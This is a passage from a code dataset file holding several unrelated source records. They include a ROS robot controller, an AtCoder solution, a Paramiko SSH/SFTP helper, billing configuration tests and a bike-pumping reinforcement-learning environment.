uav2 + '/cmd2UGV',\\\n Bool, self.cmd2UGV_callback_2)\n\n # message topic from UAV3 to UGV\n self.cmd2UGV_sub_3 = rospy.Subscriber('/hummingbird' + uav3 + '/cmd2UGV',\\\n Bool, self.cmd2UGV_callback_3)\n\n # UGV real-time pose topic from the navigation stack\n self.husky_state_sub = rospy.Subscriber('move_base/feedback',\\\n MoveBaseActionFeedback, self.husky_state_callback)\n\n # navigation status \n self.UGV_status_sub = rospy.Subscriber('move_base/status',GoalStatusArray,\\\n self.UGV_status_callback)\n\n def husky_target_publisher(self,husky_pose,ns):\n # publish UGV goal to move_base node\n pose = PoseStamped()\n pose.header.frame_id=self.header\n pose.header.stamp = rospy.Time.now()\n pose.pose.position.x = husky_pose['x'] - self.x_offset\n pose.pose.position.y = husky_pose['y'] - self.y_offset\n pose.pose.position.z = husky_pose['z'] \n\n if type(husky_pose['yaw'])==float:\n quaternion = tf.transformations.quaternion_from_euler(0,0,husky_pose['yaw']) \n pose.pose.orientation.x = quaternion[0]\n pose.pose.orientation.y = quaternion[1]\n pose.pose.orientation.z = quaternion[2]\n pose.pose.orientation.w = quaternion[3]\n elif type(husky_pose['yaw']) == list:\n quaternion = husky_pose['yaw'] \n pose.pose.orientation.x = quaternion[0]\n pose.pose.orientation.y = quaternion[1]\n pose.pose.orientation.z = quaternion[2]\n pose.pose.orientation.w = quaternion[3]\n \n for i in range(5):\n rospy.loginfo(\"----Publishing target msgs to UGV----\")\n self.husky_target_pub.publish(pose)\n time.sleep(0.05)\n\n def cmd2UGV_callback_0(self,data):\n rospy.loginfo('listening to UAV')\n self.UAV_has_landed_0 = data.data\n \n def cmd2UGV_callback_1(self,data):\n rospy.loginfo('listening to UAV')\n self.UAV_has_landed_1 = data.data\n \n def cmd2UGV_callback_2(self,data):\n rospy.loginfo('listening to UAV')\n self.UAV_has_landed_2 = data.data\n\n def cmd2UGV_callback_3(self,data):\n rospy.loginfo('listening to UAV')\n self.UAV_has_landed_3 = data.data\n\n def UGV_status_callback(self, data): \n if data.status_list == [] or data.status_list[0].status != 3: \n self.UGV_has_arrived_next = False\n elif data.status_list[0].status == 3:\n current_p = self.husky_c_pst\n if abs(current_p.x-husky.goal[0])<0.3 and abs(current_p.y-husky.goal[1])<0.3:\n self.UGV_has_arrived_next = True \n \n def husky_state_callback(self,data):\n self.husky_c_orien = data.feedback.base_position.pose.orientation\n self.husky_c_pst = data.feedback.base_position.pose.position \n self.husky_c_pst.x += self.x_offset \n self.husky_c_pst.y += self.y_offset\n\n def check_UAV_status(self):\n # check if all UAVs has landed on the UGV\n if self.UAV_has_landed_0 and self.UAV_has_landed_1 and \\\n self.UAV_has_landed_2 and self.UAV_has_landed_3:\n self.UAV_has_landed = True\n else:\n self.UAV_has_landed = False\n\nif __name__ == '__main__':\n \n try:\n rospy.init_node('husky_control_center', anonymous=True)\n rospy.loginfo_once('------husky_control_center launched successfully!------')\n rospy.wait_for_service('/age_server')\n send_timelist = rospy.ServiceProxy('/age_server', age) \n \n rate = rospy.Rate(5)\n \n uav0 = sys.argv[3]\n uav1 = sys.argv[4]\n uav2 = sys.argv[5]\n uav3 = sys.argv[6] \n \n husky=Husky(uav0,uav1,uav2,uav3)\n husky.ns = sys.argv[2]\n husky.ugv_idx = int(sys.argv[7])\n \n # turtlebot is based on turtlebot/odom frame, whose origin is at the initial position of the ugv\n # the following code is used to get the translation from odom frame to world frame (turtlebot)\n if husky.ns[0:5] == \"husky\":\n husky.header = 'world'\n husky.x_offset = 0.0\n husky.y_offset = 0.0\n elif husky.ns[0:5] == \"turtl\":\n husky.header = husky.ns+'/odom'\n husky.x_offset = float(sys.argv[8])\n husky.y_offset = float(sys.argv[9])\n else:\n print(\"ugv name not recognized, please check your sim.launch file\")\n raise\n\n husky_x = []\n husky_y = []\n\n '''get offline ugv plan\n heading_idx (UGV): 0(heading to +x axis)\n 1(heading to +y axis)\n 2(heading to -x axis)\n 3(heading to -y axis)''' \n husky_pose = [] \n heading_idx = []\n f=np.load(os.path.join(project_dir,'ugvwaypoint.npz'), 'rb')\n husky_pose_=f['pos']\n dist_btw_pose=f['delta']\n robust = f['robust'] \n size = husky_pose_.shape[1] \n for i in range(size):\n if husky_pose_[0][i]==husky_pose_[0][i-1]:\n if husky_pose_[1][i]>husky_pose_[1][i-1]:\n husky_yaw = 3.14159/2\n heading_idx.append(1)\n else:\n husky_yaw = 3*3.14159/2\n heading_idx.append(3) \n elif husky_pose_[1][i]==husky_pose_[1][i-1]:\n if husky_pose_[0][i]>husky_pose_[0][i-1]: \n husky_yaw = 0.0\n heading_idx.append(0)\n else:\n husky_yaw = 3.14159\n heading_idx.append(2)\n else:\n if husky_pose_[1][i]>husky_pose_[1][i-1] and husky_pose_[0][i]>husky_pose_[0][i-1]:\n husky_yaw = 3.14159/4\n heading_idx.append(1)\n elif husky_pose_[1][i]>husky_pose_[1][i-1] and husky_pose_[0][i]husky_pose_[0][i-1]:\n husky_yaw =7*3.14159/4\n heading_idx.append(0)\n else:\n husky_yaw =5*3.14159/4\n heading_idx.append(3)\n \n husky_pose.append({'x':husky_pose_[0][i],\\\n 'y':husky_pose_[1][i],\\\n 'z':0,\\\n 'yaw':husky_yaw})\n \n with open(os.path.join(project_dir,'data.json'), 'r') as f:\n info = json.load(f) \n\n idx = int(sys.argv[1])\n ns = sys.argv[2] # node namespace\n stage = 0 # 0: send ugv goal; 1: wait for ugv reach goal; 2: wait for uav to land\n pt_f = 0 # print flag\n takeoff_time = 0 # uav start time\n setoff_time = 0 # ugv start time\n has_arrived = 0 # counter \n pre_time = None # start time of the pervious cycle \n time_list = [[] for j in range(5)]\n cycle_idx = -1 # supercycle index\n init_time = rospy.get_time()\n\n # list of alternative location when release point is blocked\n alternative = [(x,y) for x in range(-1*robust,robust+1) for y in range(-1*robust,robust+1)]\n remove_id = []\n for index,val in enumerate(alternative):\n if val[0]**2+val[1]**2>robust**2:\n remove_id.append(index)\n for index in sorted(remove_id, reverse=True):\n del alternative[index]\n\n # obstacle coordinates\n husky.obstacles = [(0.50,1.50),(1.50,1.50),(2.50,1.50),(4.50,11.5),(4.50,12.5),(4.50,13.5),(2.50,24.5),\\\n (3.50,24.5),(4.50,24.5),(5.50,24.5),(6.50,24.5),(22.5,21.5),(21.5,20.5),(21.5,21.5),\\\n (21.5,22.5),(24.5,2.50),(24.5,3.50),(24.5,4.50),(24.5,5.50),(24.5,6.50),(24.5,7.50),\\\n (24.5,8.50),(24.5,9.50),(24.5,0.50),(24.5,1.50),(7.50,3.50),(8.50,3.50),(9.50,2.50),\\\n (7.50,7.50),(7.50,8.50),(8.50,7.50),(8.50,8.50),(5.50,18.5),(6.50,18.5),(7.50,18.5),\\\n (8.50,18.5),(5.50,19.5),(7.50,19.5),(12.5,17.5),(12.5,15.5),(15.5,9.50),(16.5,8.50),\\\n (17.5,6.50),(17.5,7.50),(17.5,8.50),(18.5,4.50),(4.50,20.5),(4.50,21.5),(20.5,21.5),\\\n (20.5,20.5),(20.5,13.5),(21.5,13.5),(21.5,12.5),(20.5,12.5),(13.5,4.5)]\n rospy.sleep(rospy.Duration(1))\n \n if husky.ugv_idx>0:\n stage = -1\n one_time_flag = True\n\n while not rospy.is_shutdown():\n\n # for the second ugv, stop for a few seconds and then start\n if stage == -1: \n rospy.sleep(rospy.Duration(160)) \n stage = 0\n \n if stage == 0:\n if husky.husky_target_pub.get_num_connections()<1:\n pass\n else:\n setoff_time = rospy.get_rostime()\n if pt_f == 0:\n rospy.loginfo(\"Sending UGV target\") \n pt_f = pt_f+1\n if husky.UAV_has_landed and husky.UGV_has_arrived:\n idx = rem(idx+1,len(husky_pose))\n \n if idx == 0:\n cycle_idx += 1\n send_flag = True\n start_time = rospy.get_time()\n if pre_time != None:\n rospy.loginfo(\"**********Cycle***********\")\n cycle = start_time - pre_time\n print('Previous cycle time:{}'.format(cycle))\n pre_time = start_time\n \n area_type = info[str(idx)] \n \n husky.husky_target_publisher(husky_pose[idx],ns)\n husky.goal=[husky_pose[idx]['x'],husky_pose[idx]['y']]\n print('UGV target pose (x,y,z,yaw):{},{},{},{}'.format(\n husky_pose[idx]['x'],husky_pose[idx]['y'],\\\n husky_pose[idx]['z'],husky_pose[idx]['yaw']))\n time.sleep(1)\n husky.UGV_has_arrived = False\n husky.UGV_has_arrived_next = False\n stage = 1\n \n elif stage == 1:\n if pt_f == 1:\n rospy.loginfo(\"Waiting for UGV to arrive\")\n time.sleep(1)\n pt_f=pt_f+1\n \n # update information about the robust region\n cpst = husky.husky_c_pst \n if cycle_idx == 0:\n husky_x.append(cpst.x) \n husky_y.append(cpst.y) \n if (husky_pose[idx]['x']-cpst.x)**2+\\\n (husky_pose[idx]['y']-cpst.y)**2 < (robust+husky.sensing_range)**2:\n right=floor(cpst.x+husky.sensing_range+0.5)-0.5\n left=ceil(cpst.x-husky.sensing_range+0.5)-0.5\n up=floor(cpst.y+husky.sensing_range+0.5)-0.5\n down=ceil(cpst.y-husky.sensing_range+0.5)-0.5\n\n check_xy = [(check_x, check_y) for check_x in np.arange(left,right+0.1) \\\n for check_y in np.arange(down,up+0.1)]\n \"\"\"print 'check_xy'\n print check_xy\n print '\\n' \"\"\"\n \n if husky.unknown_options == [] and not husky.has_updated:\n husky.unknown_options = [(husky_pose[idx]['x']+i[0],\\\n husky_pose[idx]['y']+i[1]) for i in alternative]\n \"\"\"print 'unknown options'\n print(husky.unknown_options)\n print '\\n' \"\"\"\n else: \n husky.has_updated = True\n remove_xy = []\n for i in check_xy:\n if i in husky.unknown_options and \\\n (i[0]-cpst.x)**2+(i[1]-cpst.y)**2 <= husky.sensing_range**2:\n rospy.loginfo(\"----Updating environment----\")\n if i in husky.obstacles:\n husky.known_obstacle.append(i)\n remove_xy.append(i)\n else:\n potential_blocked = [(i[0]+b_x,i[1]+b_y) for b_x in [-1,0,1] for b_y in [-1,0,1]]\n if sum([p in husky.obstacles for p in potential_blocked]) == 0:\n husky.known_options.append(i)\n else:\n husky.known_obstacle.append(i) \n remove_xy.append(i)\n \"\"\"print 'known obstacles'\n print husky.known_obstacle\n print '\\n'\n print 'known options'\n print husky.known_options\n print '\\n'\"\"\"\n for i in remove_xy:\n husky.unknown_options.remove(i) \n remove_xy = [] \n \n # goal is blocked by obstacles, search for nearest feasible point\n if (husky_pose[idx]['x'],husky_pose[idx]['y']) in husky.known_obstacle: \n cpot=husky.husky_c_pst\n corien=husky.husky_c_orien\n nearest=0\n dist=10000\n \n if husky.known_options != []:\n for index,val in enumerate(husky.known_options): \n dist_new = (val[0]-cpot.x)**2+(val[1]-cpot.y)**2\n if dist_new < dist:\n dist = dist_new\n x_new = val[0]\n y_new = val[1]\n\n else:\n for index,val in enumerate(alternative): \n dist_new = (husky_pose[idx]['x']+val[0]-cpot.x)**2+\\\n (husky_pose[idx]['y']+val[1]-cpot.y)**2\n if dist_new < dist:\n nearest = index\n dist = dist_new\n x_new = husky_pose[idx]['x']+alternative[nearest][0]\n y_new = husky_pose[idx]['y']+alternative[nearest][1]\n\n qua = [corien.x,corien.y,corien.z,corien.w] \n #yaw_new = tf.transformations.euler_from_quaternion(qua)[2] \n husky_pose_new = {'x':x_new,\\\n 'y':y_new,\\\n 'z':0,\\\n 'yaw':husky_pose[idx]['yaw']}\n husky.husky_target_publisher(husky_pose_new, ns)\n husky_pose[idx] = husky_pose_new\n husky.goal=[husky_pose[idx]['x'],husky_pose[idx]['y']]\n\n rospy.loginfo(\"Sending new targets to UGV\")\n print('UGV target pose (x,y,z,yaw):{},{},{},{}'.format(\n husky_pose_new['x'],husky_pose_new['y'],\\\n husky_pose_new['z'],husky_pose_new['yaw']))\n rospy.sleep(rospy.Duration(1))\n \n if husky.UGV_has_arrived_next == True:\n husky.known_options = []\n husky.unknown_options = []\n husky.has_updated = False\n rospy.loginfo('Goal reached')\n has_arrived = has_arrived + 1\n husky_qua = [husky.husky_c_orien.x, husky.husky_c_orien.y,\\\n husky.husky_c_orien.z, husky.husky_c_orien.w]\n yaw = tf.transformations.euler_from_quaternion(husky_qua)[2]\n\n rospy.loginfo('Distance to goal:')\n dist_yaw = abs(yaw-husky_pose[idx]['yaw'])\n if dist_yaw > PI:\n dist_yaw = 2*PI-dist_yaw\n dist_x = abs(husky.husky_c_pst.x-husky_pose[idx]['x'])\n dist_y = abs(husky.husky_c_pst.y-husky_pose[idx]['y'])\n dist_z = abs(husky.husky_c_pst.z-husky_pose[idx]['z'])\n\n condition = int(dist_x < 0.25) + int(dist_y<0.25) + int(dist_yaw<0.25) + int(has_arrived>12)\n \n if condition >= 3:\n has_arrived = 0\n rospy.loginfo('UGV has arrived!') \n UGV_duration = rospy.get_rostime()-setoff_time\n if UGV_duration < husky.max_duration:\n rospy.loginfo('Waiting for UAV to get charged!')\n #print(husky.max_duration.to_sec())\n #print(UGV_duration.to_sec())\n #print(husky.max_duration-UGV_duration)\n rospy.sleep(husky.max_duration-UGV_duration)\n time_list[cycle_idx].append(rospy.get_time() - init_time)\n husky.UAV_has_landed = False\n husky.msg2UAV.type = area_type\n husky.msg2UAV.x=dist_btw_pose[0][idx]\n husky.msg2UAV.y=dist_btw_pose[1][idx]\n \n husky.msg2UAV.idx=heading_idx[idx]\n if husky.ugv_idx>0 and cycle_idx==0 and idx==0 and one_time_flag:\n rospy.sleep(rospy.Duration(husky.period/2-rospy.get_time()+init_time))\n one_time_flag = False\n for i in range(1):\n husky.cmd2UAV_pub.publish(husky.msg2UAV)\n rospy.loginfo_once(\"Publishing cmd to UAV\")\n time.sleep(0.1)\n stage = 2\n takeoff_time = rospy.get_rostime()\n \n elif stage ==2:\n if pt_f == 2:\n rospy.loginfo(\"Waiting for UAV to land\")\n husky.UAV_has_landed_0 = False \n husky.UAV_has_landed_1 = False\n pt_f=0\n husky.check_UAV_status()\n if husky.UAV_has_landed == True:\n husky.max_duration = rospy.get_rostime() - takeoff_time\n husky.UGV_has_arrived = True\n stage = 0\n\n if len(time_list[cycle_idx]) == len(husky_pose) and send_flag:\n timelist_flag = send_timelist(time_list[cycle_idx])\n if timelist_flag == True:\n print(\"Sent time list successfully\")\n send_flag = False\n rate.sleep()\n\n except rospy.ROSInterruptException:\n for idx,i in enumerate(time_list):\n if len(i) < len(husky_pose):\n break\n if idx>0:\n time_array = np.array(time_list[0:idx])\n time_interval = time_array[1:,:]-time_array[0:idx-1,:]\n age = max(time_interval.max(axis=0))\n\n print(\"age from {} is {}\".format(ns, age))\n np.save(os.path.join(project_dir,'trajectory.npy'),np.array([husky_x,husky_y]))\n \n","repo_name":"xiaoshan-lin/robust_persistent_surveillance","sub_path":"rps_planning/scripts/husky_control_center.py","file_name":"husky_control_center.py","file_ext":"py","file_size_in_byte":22712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18323293501","text":"import sys\nimport math\nfrom collections import deque\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef make_grid(h, w, num): return [[int(num)] * w for _ in range(h)]\n\n\n\ndef main():\n N, M = NMI()\n grid = make_grid(N+1, M+1, -1)\n kaizyou = [1]*(M+1)\n for i in range(1, M+1):\n kaizyou[i] = kaizyou[i-1]*i%MOD\n\n inv = [1]*(M+1)\n for i in range(1, M+1):\n inv[i] = inv[i-1]*pow(i, MOD-2, MOD)%MOD\n\n def rec(n, m):\n if n == 1:\n return (m-n)%MOD\n if grid[n][m] >= 0:\n return grid[n][m]\n\n res = rec(n-1, m)*(n-1) + rec(n-1, m-1)*(m-n)\n grid[n][m] = res%MOD\n return res%MOD\n\n print(rec(N, M) * kaizyou[M] * inv[M-N])\n\nif __name__ == \"__main__\":\n main()","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC172/ABC172E.py","file_name":"ABC172E.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74554077522","text":"# This file contains functionality for extracting vector data from vectors\n\n\n# Vector [3 5 3 5] will become [0 1 -1 1 0]\ndef get_growth_vector(vect):\n g_vector = []\n first = True\n old = 0\n for x in range(len(vect)):\n if first:\n first = False\n else:\n if vect[x] > vect[old]:\n g_vector.append(1)\n elif vect[x] < vect[old]:\n g_vector.append(-1)\n else:\n g_vector.append(0)\n old = x\n\n return g_vector\n\n\n# Zero pads a list\ndef get_zero_padded(list):\n pad_list = []\n pad_list.append(0)\n pad_list.extend(list)\n pad_list.append(0)\n return pad_list\n","repo_name":"KVISDAOWNER/Machine-Intelligent-Siren-Recognition","sub_path":"vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"29047642847","text":"# coding=utf-8\n\nimport balance.balance_db as db\nfrom btestlib.constants import Services\n\nDIRECT = Services.DIRECT.id\nVENDORS = Services.VENDORS.id\nRABOTA = Services.RABOTA.id\nTOLOKA = Services.TOLOKA.id\nMARKET = Services.MARKET.id\nADFOX = Services.ADFOX.id\nKUPIBILET = Services.KUPIBILET.id\nMEDIASELLING = Services.BAYAN.id\nBAYAN = Services.MEDIA_BANNERS.id\nMEDIA = Services.MEDIA_70.id\nGEO = Services.GEO.id\nAPIKEYS = Services.APIKEYS.id\nDSP = Services.DSP.id\nMEDIABANNERS = Services.MEDIA_BANNERS_167.id\nTRANSLATE = Services.TRANSLATE.id\nCLOUD = Services.CLOUD_143.id\nPUBLIC = Services.PUBLIC.id\nDOSTAVKA = Services.DOSTAVKA.id\nBANKI = Services.BANKI.id\nOFD = Services.OFD.id\nSPAMDEF = Services.SPAMDEF.id\nTAXI = Services.TAXI_111.id\nCORP_TAXI = Services.TAXI_CORP.id\nTAXI_DONATE = Services.TAXI_DONATE.id\nRIT = Services.RIT.id\n\n# _СЕРВИСЫ_________________________________________________________________________________________________________________________\n\n# сервисы, по которым клиенты не могут выставляться без договора при наличии договора\nSERVICES_WITH_RESTRICT_CLIENT_FLAG = {MARKET, TOLOKA, RIT, RABOTA, ADFOX, TAXI, KUPIBILET, VENDORS, CORP_TAXI, TAXI_DONATE}\n\n# сервисы, по которым агенства могут выставляться без договора при наличии договора\nSERVICES_ALLOWED_AGENCY_WITHOUT_CONTRACT_FLAG = {DIRECT, MEDIASELLING, MARKET, GEO}\n\n# сервисы, по которым агенства не могут выставляться без договора\nSERVICES_WITH_CONTRACT_NEEDED_FLAG = {DIRECT, MARKET, MEDIASELLING, VENDORS, APIKEYS, DSP,\n BAYAN, GEO, MEDIABANNERS, TOLOKA, TRANSLATE, CLOUD,\n PUBLIC, DOSTAVKA, KUPIBILET, BANKI, SPAMDEF, OFD}\n\n\ndef test_check_service_with_restrict_client_flag():\n services = db.balance().execute('''select id from v_service where restrict_client = 1''')\n services_ids = {service['id'] for service in services}\n assert services_ids == SERVICES_WITH_RESTRICT_CLIENT_FLAG\n\n\ndef test_check_service_with_allowed_agency_without_contract_flag():\n services = db.balance().execute('''select OBJECT_ID from T_EXTPROPS where classname = 'Service' and ATTRNAME = 'allowed_agency_without_contract' and VALUE_NUM = 1''')\n services_ids = {service['object_id'] for service in services}\n assert services_ids == SERVICES_ALLOWED_AGENCY_WITHOUT_CONTRACT_FLAG\n\n\ndef test_check_service_with_contact_needed_flag():\n services = db.balance().execute('''select id from v_service where contract_needed = 1''')\n services_ids = {service['id'] for service in services}\n assert services_ids == SERVICES_WITH_CONTRACT_NEEDED_FLAG\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/maintenance/check_settings.py","file_name":"check_settings.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70774195921","text":"from pathlib import Path\n\nimport pyheif\nfrom PIL import Image\n\nroot = Path(\"/Users/a5chin/Desktop/image\")\nto = Path(\"/Users/a5chin/Python/task_s/assets/data\")\n\nfor path in root.glob(\"**/*.HEIC\"):\n d = to / path.parent.name\n heif = pyheif.read(path)\n\n img = Image.frombytes(\n heif.mode,\n heif.size,\n heif.data,\n \"raw\",\n heif.mode,\n heif.stride,\n )\n print(d / f\"{path.stem}.png\")\n img.save(d / f\"{path.stem}.png\")\n","repo_name":"a5chin/summer_homework_s","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21772473375","text":"def format_age(age_mode, age_min, age_max, minimal=False):\n # Convert months back into years\n if age_mode == 'Y':\n if age_max:\n age_max = int((age_max - 11) / 12)\n if age_min:\n age_min = int(age_min / 12)\n\n elif age_mode == 'M':\n if age_min:\n age_min = int(age_min)\n if age_max:\n age_max = int(age_max)\n\n else:\n if age_min:\n age_min = int(age_min)\n if age_max:\n age_max = int(age_max / 12)\n\n if age_mode in ['Y', 'M']:\n if not minimal:\n age_mode = ('months' if age_mode == 'M' else 'years')\n else:\n age_mode = ('mo' if age_mode == 'M' else 'yo')\n\n if age_min and age_max:\n if not minimal:\n return '%s - %s %s' % (age_min, age_max, age_mode)\n return '%s-%s%s' % (age_min, age_max, age_mode)\n elif age_min:\n if not minimal:\n return '%s %s and above' % (age_min, age_mode)\n return '>%s%s' % (age_min, age_mode)\n elif age_max:\n if not minimal:\n return 'Up to %s %s' % (age_max, age_mode)\n return '<%s%s' % (age_max, age_mode)\n\n elif age_mode == 'X':\n if age_min and age_max:\n if not minimal:\n return '%s months - %s years' % (age_min, age_max)\n return '%smo-%syo' % (age_min, age_max)\n elif age_min:\n if not minimal:\n return '%s months and above' % (age_min)\n return '>%smo' % (age_min)\n elif age_max:\n if not minimal:\n return 'Up to %s years' % (age_max)\n return '<%syo' % (age_max)\n\n if not minimal:\n return 'All Ages'\n return ''\n\n\ndef check_age_ranges(age_ranges, age_min, age_max):\n if not age_ranges:\n return True\n\n age_min = int(age_min) if age_min else 0\n age_max = int(age_max) if age_max else 192\n\n for range in age_ranges:\n range_min, range_max = range.split('-')\n\n range_min = int(range_min)\n range_max = int(range_max)\n\n if range_max >= age_min and range_min <= age_max:\n return True\n","repo_name":"0x216/Hoop-Libaries","sub_path":"hoop/util/ages.py","file_name":"ages.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70145938002","text":"\nimport paramiko\nimport logging\n\nfrom datetime import datetime\n\n\nclass ParamikoUtil:\n \"\"\"\n # Esperanto: Paranoid + Friend\n install latest python: https://www.python.org/downloads/\n\n pip install paramiko\n\n https://bbs.huaweicloud.com/blogs/151871\n https://www.jianshu.com/p/486dd9993125\n\n \"\"\"\n\n @staticmethod\n def get_ssh_client(ip, uname, pwd):\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(ip, username=uname, password=pwd)\n logging.info(f'----- SSH - {ip} {uname}:*{pwd[1:3]}****----->')\n return client\n\n @staticmethod\n def close_ssh_client(ssh_client):\n ssh_client.close()\n logging.info('----- SSH - closed -----<')\n\n @staticmethod\n def run_ssh_cmd(ssh_client, cmd):\n logging.info('\\nrun>' + cmd)\n\n stdin, stdout, stderr = ssh_client.exec_command(cmd)\n stdout = stdout.readlines()\n\n output = []\n if (len(stdout) > 0):\n logging.info('------------------')\n for line in stdout:\n l = line.strip('\\n')\n output.append(l)\n logging.info(l)\n\n for line in stderr:\n logging.info('E>>' + line.strip('\\n'))\n logging.info('------------------\\n')\n\n return output\n\n @staticmethod\n def get_sftp_client(ip, uname, pwd, port=22):\n trans = paramiko.Transport((ip, port))\n trans.connect(username=uname, password=pwd)\n sftpClient = paramiko.SFTPClient.from_transport(trans)\n logging.info(f'===== SFTP - {ip} {uname}:*{pwd[1:3]}***** =====>')\n return sftpClient\n\n @staticmethod\n def run_sftp_get(sftp_client, from_remote, to_local):\n logging.info(f'<{datetime.now()}> Start sftp GET from {from_remote} to {to_local}')\n sftp_client.get(remotepath=from_remote, localpath=to_local)\n logging.info(f'<{datetime.now()}> Done sftp GET from {from_remote} to {to_local}')\n\n @staticmethod\n def run_sftp_put(sftp_client, from_local, to_remote):\n logging.info(f'<{datetime.now()}> Start sftp PUT from {from_local} to {to_remote}')\n sftp_client.put(localpath=from_local, remotepath=to_remote)\n logging.info(f'<{datetime.now()}> Done sftp PUT from {from_local} to {to_remote} ')\n\n @staticmethod\n def close_sftp_client(sftp_client):\n sftp_client.close()\n logging.info('===== SFTP - closed =====<')\n","repo_name":"lorisunjunbin/petp","sub_path":"utils/ParamikoUtil.py","file_name":"ParamikoUtil.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"22792071977","text":"# The basic environment for training an agent that learns how to pump.\nimport world\nimport json\nimport numpy as np\nimport gym\nimport math\nimport time\nfrom Box2D import *\nfrom gym import spaces\n\n_GRAVITY = 9.81\n\nclass PumpEnv(gym.Env):\n metadata = {'render.modes': ['human']}\n\n def __init__(self, level_name):\n n_actions = 3\n self.action_space = spaces.Discrete(n_actions)\n self.use_intersections = False\n num_obs = 3 if self.use_intersections else 2\n self.observation_space = spaces.Box(low=-1, high=1, shape=(num_obs,), dtype=np.float32)\n self.elapsed_time = 0\n self.level_name = level_name\n self.last_action = 1\n self.last_pos_x = -10000\n self.ground_intersection = None\n\n self.reset()\n self.callback = None\n super(PumpEnv, self).__init__()\n\n def render(self, mode='console', delay=0):\n if mode != 'human':\n raise NotImplementedError()\n\n def step(self, action):\n done = False\n reward = 0\n\n body = self.world.bodies[\"Body\"]\n bike = self.world.bodies[\"Bike\"]\n\n joint = self.world.joints[\"RearMotor\"]\n joint.enableLimit = True\n\n # Make Box2D simulate the physics of our world for one step\n # Keep the same action for a longer period of time.\n TIME_STEP = 1.0 / 60.0\n NUM_STEPS = 6\n for i in range(0, NUM_STEPS):\n if action == 0:\n front_hub = self.world.bodies[\"FrontHub\"]\n # We can only pump down if the pump \"joint\" isn't completely depressed\n # Also, added later, can only pump down if upright, and if front wheel\n # is close to ground (doesn't do anything really--except for cause the\n # simulation to take longer).\n if ((joint.translation > joint.limits[0]) and\n (body.position.y > bike.position.y) and\n (not self.use_intersections or\n (self.intersect_ray(front_hub.position) < 0.6))):\n body.ApplyForceToCenter(Box2D.b2Vec2(0, -1), True)\n elif action == 2:\n if (joint.translation >= joint.limits[1] - 0.01):\n body.ApplyForceToCenter(Box2D.b2Vec2(0, body.mass * _GRAVITY), True)\n else:\n body.ApplyForceToCenter(Box2D.b2Vec2(0, 2 * body.mass * _GRAVITY), True)\n \n self.world.world.Step(TIME_STEP, 10, 10)\n self.elapsed_time += TIME_STEP\n if self.callback:\n self.callback()\n if (body.position.x < self.last_pos_x):\n done = True\n break\n else:\n self.last_pos_x = body.position.x\n\n velocity = self.world.bodies[\"Bike\"].linearVelocity.x\n\n # Give some small reward for increase in velocity.\n reward = 0.01*(velocity - self.last_velocity)\n # Penalize for choosing action 1 (since it doesn't do anything)\n if action == 1:\n reward -= 0.005\n # And give a small penalty for changing actions.\n reward -= 0.001 * math.pow(action - self.last_action, 2)\n\n # At the end of the game, give reward proportional to the length of the game\n if done:\n reward += body.position.x / 100.0\n\n self.last_action = action\n self.last_velocity = velocity\n\n return self._get_state(), reward, done, {}\n\n def reset(self):\n self.world = world.World()\n self.world.load(json.loads(open(self.level_name, 'r').read()))\n self.elapsed_time = 0\n self.last_action = 1\n self.last_pos_x = -10000\n self.last_velocity = 0\n\n # Simulate the 1st second without allowing the agent to take any action\n for i in range(0, 60):\n self.world.world.Step(1.0/60.0, 10, 10)\n\n # Build up a data structure that allows for fast intersection calculations\n if self.use_intersections:\n if not self.ground_intersection:\n self.ground_intersection = world.FastIntersection(self.world.bodies[\"Plane\"])\n self.ground_intersection.set_body(self.world.bodies[\"Plane\"])\n\n return self._get_state()\n\n def intersect_ray(self, pos):\n return self.ground_intersection.intersect_ray(pos)\n\n def _get_state(self):\n joint = self.world.joints[\"RearMotor\"]\n\n ground = self.world.bodies[\"Plane\"]\n rear_hub = self.world.bodies[\"RearHub\"]\n front_hub = self.world.bodies[\"FrontHub\"]\n radius = 0.5\n distances = []\n if self.use_intersections:\n distances = [\n self.intersect_ray(front_hub.position),\n ]\n # Some alternative distance signals considered (training didn't work well with these)\n # self.intersect_ray(rear_hub.position),\n # self.intersect_ray(front_hub.position + b2Vec2(radius, 0)),\n # self.intersect_ray(front_hub.position + b2Vec2(2 * radius, 0)) \n obs = [\n # joint.translation,\n # self.last_action,\n self.world.bodies[\"FrontHub\"].position.y - self.world.bodies[\"Bike\"].position.y,\n self.world.bodies[\"RearHub\"].position.y - self.world.bodies[\"Bike\"].position.y,\n # self.world.bodies[\"Bike\"].linearVelocity.x,\n ] + distances\n \n return obs\n\n","repo_name":"nbirkbeck/rl-bike-pumper","sub_path":"src/pump_env.py","file_name":"pump_env.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15681648940","text":"import sys\nsys.stdin = open('2382.txt')\n\nT = int(input())\n\ndx = [-1, 1, 0, 0]\ndy = []\n# def place_micro(xc, yc):\n\n\nfor tc in range(T):\n N, M, K = map(int, input().split()) # N = 정사각형 가로 세로 길이, M = 미생물 보관 시간, K= 미생물 군집수\n matrix = [[0 for _ in range(N)] for _ in range(N)]\n # print(matrix)\n\n for i in range(K):\n arr = list(map(int, input().split()))\n 